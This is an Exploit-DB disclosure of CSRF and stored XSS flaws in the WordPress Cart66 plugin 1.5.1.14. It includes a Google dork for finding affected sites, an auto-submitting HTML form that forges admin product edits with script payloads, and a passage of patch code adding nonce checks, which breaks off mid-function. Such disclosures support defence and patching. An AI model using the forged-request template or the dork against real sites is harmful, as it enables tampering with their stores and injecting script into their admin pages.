Exploit-DB #28959
Description: WordPress Plugin Cart66 1.5.1.14 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-10-14
Author: absane

Exploit:
# Exploit Title:     Wordpress Cart66 Plugin 1.5.1.14 Multiple Vulnerabilities
# Exploit Author:    absane
# Blog:              http://blog.noobroot.com
# Discovery date:    September 29th 2013
# Vendor notified:   September 29th 2013
# Vendor fixed:      October 2 2013
# Vendor Homepage:   http://cart66.com
# Software Link:     http://downloads.wordpress.org/plugin/cart66-lite.1.5.1.14.zip
# Tested on:         Wordpress 3.6.1
# Google-dork:       inurl:/wp-content/plugins/cart66
# CVE (CSRF):        CVE-2013-5977
# CVE (XSS):         CVE-2013-5978

Two vulnerabilities were discovered in the Wordpress plugin Cart66 version 1.5.1.14.

Vulnerabilities:
1) CSRF
2) XSS (Stored)


VULNERABILITY #1
************
*** CSRF ***
************
Page affected: http://[victim_site]/wordpress/wp-admin/admin.php?page=cart66-products

If the Wordpress admin were logged in and clicked on a link hosting code similar to the one in the PoC, then the admin may unknowingly add a product to his site or have an existing product altered. Other possibilities include, but are not limited to, injecting code into a field vulnerable to stored XSS (see the second vulnerability).

================
Proof of Concept
================
Host this code on a remote wesbserver different from the Wordpress site that uses Cart66. As an authenticated Wordpress admin user visit the page and add what you will to the fields. A new product is added. In a live attack, the fields will be hidden, prefilled, and some javascript code will auto submit the fields.


<html><body>
<form name="csrf_form" action="http://192.168.196.135/wordpress/wp-admin/admin.php?page=cart66-products" method="post" enctype="multipart/form-data" id="products-form">
<input type="hidden" name="cart66-action" value="save product" />
<input type="hidden" name="product[id]" value="" />
<input class="long" type="hidden" name='product[name]' id='product-name' value='<script>alert("pwned")</script>' />
<input type='hidden' name='product[item_number]' id='product-item_number' value='1337' />
<input type='hidden' id="product-price" name='product[price]' value='13.37' />
<input type='hidden' id="product-price_description" name='product[price_description]' value='<script>alert(";)")</script>' />
<input type='hidden' id="product-is_user_price" name='product[is_user_price]' value='0' />
<input type="hidden" id="product-min_price" name='product[min_price]' value='' />
<input type="hidden" id="product-max_price" name='product[max_price]' value='' /> 
<input type='hidden' id="product-taxable" name='product[taxable]' value='0'>
<input type='hidden' id="product-shipped" name='product[shipped]' value='1'>
<input type="hidden" id="product-weight" name="product[weight]" value=""  />
<input type="hidden" id="product-min_qty" name='product[min_quantity]' value='' />
<input type="hidden" id="product-max_qty" name='product[max_quantity]' value='' />
<script type="text/javascript">document.csrf_form.submit();</script>
</body></html>


//////////////////////////////////////////////////////////////////////////////////////////////////////////////
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\


VULNERABILITY #2
*******************
*** Stored XSS  ***
*******************
Page affected: http://[victim_site]/wordpress/wp-admin/admin.php?page=cart66-products in the following input fields:
* Product name
* Price description

================
Proof of Concept
================
In the vulnerable fields add <script>alert(0)</script> 

The product name XSS vuln is particiularly dangerous because an attacker can use the CSRF vulnerability to add a product whose name is a malicious script. All the admin user needs to do is view the product to be attacked.

]....................................[
]..............SOLUTIONS.............[
]....................................[

Grab the latest update! Or... 

XSS
----
In products.php, replace the line:
$product->setData($_POST['product']);

with:
$product->setData(Cart66Common::postVal('product'));

CSRF
----
In products.php, replace the following:

<form action="admin.php?page=cart66-products" method="post" enctype="multipart/form-data" id="products-form">
  <input type="hidden" name="cart66-action" value="save product" />
  <input type="hidden" name="product[id]" value="<?php echo $product->id ?>" />
  <div id="widgets-left" style="margin-right: 50px;">
    <div id="available-widgets">

with:

<form action="admin.php?page=cart66-products" method="post" enctype="multipart/form-data" id="products-form">
  <input type="hidden" name="cart66_product_nonce" value="<?php echo wp_create_nonce('cart66_product_nonce'); ?>" />
  <input type="hidden" name="cart66-action" value="save product" />
  <input type="hidden" name="product[id]" value="<?php echo $product->id ?>" />
  <div id="widgets-left" style="margin-right: 50px;">
    <div id="available-widgets">

And, in Cart66Product.php replace the validate() function with:

  public function validate() {
    $errors = array();
    
    if(!wp_verify_nonce($_POST['cart66_product_nonce'], 'cart66_product_nonce')) {
      $errors['nonce'] = __("An unkown error occured, please try again later","cart66");
    }
    else {
      // Verify that the item number is present
      if(empty($this->item_number)) {
        $errors['item_number'] = __("Item number is required","cart66");
      }
    
      if(empty($this->spreedlySubscriptionId))  {
        $this->spreedlySubscriptionId = 0;
      }
    
      // Verify that no other products have the same item number
      if(empty($errors)) {
        $sql = "SELECT count(*) from $this->_tableName where item_number = %s and id != %d";
        $sql = $this->_db->prepare($sql, $this->item_number, $this->id);
        $count = $this->_db->get_var($sql);
        if($count > 0) {
          $errors['ite